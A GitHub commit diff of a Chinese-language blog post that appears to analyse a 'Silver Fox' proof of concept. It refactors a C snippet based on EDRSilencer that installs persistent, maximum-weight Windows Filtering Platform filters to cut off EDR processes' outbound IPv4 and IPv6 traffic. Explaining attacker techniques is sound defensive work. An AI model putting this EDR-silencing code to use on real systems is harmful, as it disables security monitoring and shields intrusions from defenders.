Skip to content

Commit 8616f62

Browse files
refactor WFP filter configuration for blocking EDR communication
1 parent 1406cb3 commit 8616f62

1 file changed

Lines changed: 18 additions & 126 deletions

File tree

_posts/2025-12-15-silver-fox-poc-2025-zh-cn.md

Lines changed: 18 additions & 126 deletions
Original file line numberDiff line numberDiff line change
@@ -77,174 +77,66 @@ pythonmemorymodule.MemoryModule(data=data)
7777
以下是基于 EDRSilencer 核心逻辑的代码片段,展示了如何配置 WFP 过滤器以阻断特定进程的流量:
7878

7979
```c
80-
// ==================== WFP 过滤器配置 ====================
81-
// 参考: https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_filter0
82-
83-
// 设置过滤器显示名称(用于管理界面和 netsh wfp show filters 命令显示)
80+
// 设置过滤器显示名称(用于 netsh wfp show filters 等管理命令)
8481
filter.displayData.name = filterName;
8582

86-
// -------------------- 过滤器标志 --------------------
87-
// FWPM_FILTER_FLAG_PERSISTENT: 持久化过滤器
88-
// 特性:
89-
// - 过滤器信息存储在注册表 HKLM\SYSTEM\CurrentControlSet\Services\BFE\Parameters\Policy 中
90-
// - BFE (Base Filtering Engine) 服务启动时自动加载
91-
// - 系统重启后依然生效,直到被显式删除 (FwpmFilterDeleteById0)
92-
// - 不能与 FWPM_FILTER_FLAG_BOOTTIME 同时使用
93-
// 对比:
94-
// - 不设置此标志 = 静态过滤器,BFE 停止或系统关机后消失
95-
// - 动态会话过滤器 = 会话断开后自动删除
83+
// PERSISTENT: 持久化过滤器,存储在注册表中,系统重启后依然生效直到显式删除
9684
filter.flags = FWPM_FILTER_FLAG_PERSISTENT;
9785

98-
// -------------------- 过滤层 (Layer) --------------------
99-
// FWPM_LAYER_ALE_AUTH_CONNECT_V4: ALE (Application Layer Enforcement) 出站连接授权层 (IPv4)
100-
// 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/ale-layers
101-
//
102-
// 触发时机:
103-
// - TCP: connect() 系统调用时
104-
// - UDP: 向唯一远程地址/端口发送的第一个数据包
105-
// - ICMP: 第一个出站非错误 ICMP 消息
106-
//
107-
// 为什么选择 ALE 层而非 Transport 层:
108-
// - ALE 层是有状态的 (stateful),每个连接只评估一次
109-
// - Transport 层是无状态的,每个数据包都会评估(性能开销大)
110-
// - 对于阻断 EDR 的 "首次出站连接" 场景,ALE 层足够且高效
86+
// ALE_AUTH_CONNECT_V4: 出站连接授权层,TCP connect() / UDP首包 / ICMP首包时触发,有状态,每连接仅评估一次
11187
filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
11288

113-
// -------------------- 过滤动作 --------------------
114-
// FWP_ACTION_BLOCK: 阻断匹配的网络流量
115-
// 其他可选值:
116-
// - FWP_ACTION_PERMIT: 允许流量
117-
// - FWP_ACTION_CALLOUT_TERMINATING: 调用 callout 驱动处理并终止
118-
// - FWP_ACTION_CALLOUT_INSPECTION: 调用 callout 驱动检查但不终止
89+
// BLOCK: 阻断匹配的网络流量
11990
filter.action.type = FWP_ACTION_BLOCK;
12091

121-
// -------------------- 过滤器权重 (Weight / Priority) --------------------
122-
// 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/filter-arbitration
123-
//
124-
// 权重决定过滤器的优先级,值越大优先级越高
125-
// 0xFFFFFFFFFFFFFFFF (UINT64_MAX) = 最高可能权重
126-
//
127-
// 为什么设置最大权重:
128-
// - 确保此过滤器在同一 sublayer 中先于其他过滤器被评估
129-
// - EDR 产品自己的 WFP 过滤器可能设置了 PERMIT 规则
130-
// - 使用最高权重可以"抢占"优先处理权,覆盖 EDR 的放行规则
131-
//
132-
// 权重类型说明:
133-
// - FWP_UINT64: 显式指定 64 位权重值
134-
// - FWP_EMPTY: 由 BFE 自动分配权重 (auto-weight)
135-
// - FWP_UINT8: 基于范围的自动权重 (0-15)
92+
// 权重 = 优先级,UINT64_MAX 确保此过滤器先于 EDR 自身的 PERMIT 规则被评估
13693
UINT64 weightValue = 0xFFFFFFFFFFFFFFFF;
13794
filter.weight.type = FWP_UINT64;
138-
filter.weight.uint64 = &weightValue; // 注意: 传递的是指针
139-
140-
// ==================== 过滤条件配置 ====================
141-
// 参考: https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_filter_condition0
142-
143-
// -------------------- 条件字段键 --------------------
144-
// FWPM_CONDITION_ALE_APP_ID: 基于应用程序标识符进行匹配
145-
// App ID 是可执行文件的 NT 设备路径,例如:
146-
// \device\harddiskvolume1\windows\system32\svchost.exe
147-
//
148-
// 其他常用条件字段:
149-
// - FWPM_CONDITION_IP_REMOTE_ADDRESS: 远程 IP 地址
150-
// - FWPM_CONDITION_IP_REMOTE_PORT: 远程端口
151-
// - FWPM_CONDITION_IP_PROTOCOL: IP 协议 (TCP/UDP/ICMP)
152-
// - FWPM_CONDITION_ALE_USER_ID: 发起连接的用户 SID
153-
cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
95+
filter.weight.uint64 = &weightValue;
15496

155-
// -------------------- 匹配类型 --------------------
156-
// FWP_MATCH_EQUAL: 精确匹配
157-
// 其他匹配类型:
158-
// - FWP_MATCH_GREATER / FWP_MATCH_LESS: 数值比较
159-
// - FWP_MATCH_RANGE: 范围匹配 (如端口范围)
160-
// - FWP_MATCH_PREFIX: 前缀匹配 (如子网)
161-
// - FWP_MATCH_NOT_EQUAL: 不等于
97+
// ALE_APP_ID: 按应用程序路径匹配(NT 设备路径格式,如 \device\harddiskvolume1\...\xxx.exe)
98+
cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
99+
// 精确匹配
162100
cond.matchType = FWP_MATCH_EQUAL;
163-
164-
// -------------------- 条件值 --------------------
165-
// FWP_BYTE_BLOB_TYPE: 字节块类型,用于存储可变长度数据
166-
// App ID 是一个 FWP_BYTE_BLOB 结构:
167-
// - size: 数据大小
168-
// - data: 指向 NT 设备路径的 Unicode 字符串
169-
//
170-
// appId 通常由 FwpmGetAppIdFromFileName0() 获取
171-
// EDRSilencer 自己实现了这个函数以绕过 EDR 的 minifilter 保护
101+
// appId 是 FWP_BYTE_BLOB 结构,由 FwpmGetAppIdFromFileName0() 或自定义实现获取
172102
cond.conditionValue.type = FWP_BYTE_BLOB_TYPE;
173103
cond.conditionValue.byteBlob = appId;
174104

175-
// 将条件数组关联到过滤器
176-
// 多个条件之间是 AND 关系(所有条件都满足时才触发动作)
105+
// 关联条件到过滤器,多条件为 AND 关系
177106
filter.filterCondition = &cond;
178-
filter.numFilterConditions = 1; // 只有一个条件: 匹配目标进程
179-
180-
// ==================== Provider (提供者) 配置 ====================
181-
// 参考: https://learn.microsoft.com/en-us/windows/win32/fwp/object-management
182-
//
183-
// Provider 是 WFP 对象的逻辑分组机制,用于:
184-
// - 标识过滤器的创建者/所有者
185-
// - 管理界面中分类显示
186-
// - 便于批量查询和删除同一来源的过滤器
187-
//
188-
// 检查是否已存在同名 Provider,避免重复创建
107+
filter.numFilterConditions = 1;
108+
109+
// Provider: 过滤器的逻辑分组/所有者标识,便于管理和批量删除
189110
if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
190-
// 已存在,复用现有 Provider
191-
filter.providerKey = &providerGuid;
111+
filter.providerKey = &providerGuid; // 复用已存在的 Provider
192112
} else {
193-
// 不存在,创建新 Provider
194113
provider.displayData.name = providerName;
195114
provider.displayData.description = providerDescription;
196-
197-
// FWPM_PROVIDER_FLAG_PERSISTENT: Provider 也设为持久化
198-
// 确保系统重启后 Provider 信息依然存在
199-
provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;
200-
115+
provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT; // Provider 也持久化
201116
result = FwpmProviderAdd0(hEngine, &provider, NULL);
202117
if (result != ERROR_SUCCESS) {
203118
printf("[-] FwpmProviderAdd0 failed with error code: 0x%x.\n", result);
204119
} else {
205-
// 创建成功后获取其 GUID 并关联到过滤器
206120
if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
207121
filter.providerKey = &providerGuid;
208122
}
209123
}
210124
}
211125

212-
// ==================== 添加过滤器到 IPv4 层 ====================
213-
// FwpmFilterAdd0 参数:
214-
// - hEngine: WFP 引擎句柄 (由 FwpmEngineOpen0 获取)
215-
// - &filter: 过滤器配置结构
216-
// - NULL: 安全描述符 (NULL = 使用默认)
217-
// - &filterId: 输出参数,返回新创建过滤器的 ID (用于后续删除)
126+
// 添加 IPv4 出站阻断过滤器,filterId 用于后续 FwpmFilterDeleteById0 删除
218127
result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
219128
if (result == ERROR_SUCCESS) {
220129
printf("Added WFP filter for \"%s\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId);
221130
} else {
222-
// 常见错误码:
223-
// - FWP_E_ALREADY_EXISTS (0x80320009): 过滤器已存在
224-
// - FWP_E_INCOMPATIBLE_TXN: 在只读事务中调用
225-
// - ERROR_ACCESS_DENIED: 权限不足
226131
printf("[-] Failed to add filter in IPv4 layer with error code: 0x%x.\n", result);
227132
}
228133

229-
// ==================== 添加过滤器到 IPv6 层 ====================
230-
// 现代网络环境中 IPv6 流量越来越常见
231-
// EDR 可能通过 IPv6 地址与云端通信,因此需要同时阻断
232-
// 只需修改 layerKey,其他配置复用
134+
// 同时阻断 IPv6,防止 EDR 通过 IPv6 通信
233135
filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;
234136
result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
235137
if (result == ERROR_SUCCESS) {
236138
printf("Added WFP filter for \"%s\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId);
237139
} else {
238140
printf("[-] Failed to add filter in IPv6 layer with error code: 0x%x.\n", result);
239141
}
240-
241-
// ==================== 资源清理 ====================
242-
// 释放 App ID 占用的内存 (FwpmFreeMemory0)
243-
FreeAppId(appId);
244-
245-
// 关闭 WFP 引擎句柄
246-
// 注意: 由于过滤器设置了 PERSISTENT 标志,关闭句柄不会删除过滤器
247-
FwpmEngineClose0(hEngine);
248-
return;
249-
}
250142
```

0 commit comments

Comments
 (0)